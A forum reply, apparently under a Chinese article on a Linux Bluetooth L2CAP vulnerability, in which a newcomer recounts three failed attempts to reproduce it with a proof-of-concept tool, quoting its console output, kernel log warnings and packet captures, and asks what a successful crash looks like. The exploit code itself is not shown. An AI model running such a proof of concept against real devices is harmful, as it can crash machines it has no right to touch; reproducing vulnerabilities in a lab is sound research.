ztree 6 2023-4-4 00:13
9
0

请问师傅有没有用虚拟机复现过这个漏洞?我刚接触蓝牙不久,可能会有一些白痴问题。

我做了三种尝试,都没有成功:


第一种尝试:我用两个虚拟机(+两个适配器)按照师傅的文章进行复现的时候,攻击机器执行如下:

$ sudo ./poc 84:E0:F4:02:7D:EA
[*] Resetting hci0 device...
[*] Opening hci device...
[*] Connecting to victim...
connect: Operation now in progress

然后我查看攻击机器的日志,有这三个报错:

[ 2261.234358] debugfs: File 'le_min_key_size' in directory 'hci0' already present!
[ 2261.234487] debugfs: File 'le_max_key_size' in directory 'hci0' already present!
[ 2261.234493] debugfs: File 'force_bredr_smp' in directory 'hci0' already present!

我在网上搜资料,显示是内核bug?204765 – debugfs: File 'le_min_key_size' in directory 'hci0' already present! (kernel.org)


同时,我在执行sudo ./poc xxxxxx 的时候,在攻击机器和目标机器都进行了抓包,攻击机器上只抓到host和controller之间交互的hci的包,目标机器没有抓到包。



第二种尝试:用其中一个虚拟机当作攻击机器执行poc,连接一个物理机(Ubuntu16/5.4.0-42),攻击机器(虚拟机)dmesg仍然报上面的错,但是执行效果不一样了:

$ sudo ./poc F4:06:69:1C:CA:36
[*] Resetting hci0 device...
[*] Opening hci device...
[*] Connecting to victim...
[+] HCI handle: 4b
[*] Sending malicious L2CAP packet...

同时攻击机器抓的包里有l2cap连接了,但目标机器(物理机)仍然是没有反应(没有崩溃转储重启)。

> P.S. 我想问一下,这个漏洞触发成功的结果就是目标机崩溃转储重启吗?还有别的形式会显示攻击成功吗?


第三种尝试:反过来,物理机当作攻击机器,虚拟机当作目标机器,执行poc的效果如下,dmesg没有报错,同时抓包情况和第一种尝试一样,作为攻击机器的物理机抓的包都是host和controller之间交互的hci的包,作为目标机器的虚拟机没有抓到包。

$ sudo ./poc xxxxxx
[*] Resetting hci0 device...
[*] Opening hci device...
[*] Connecting to victim...
connect: Connection timed out

游客
登录 | 注册 方可回帖
返回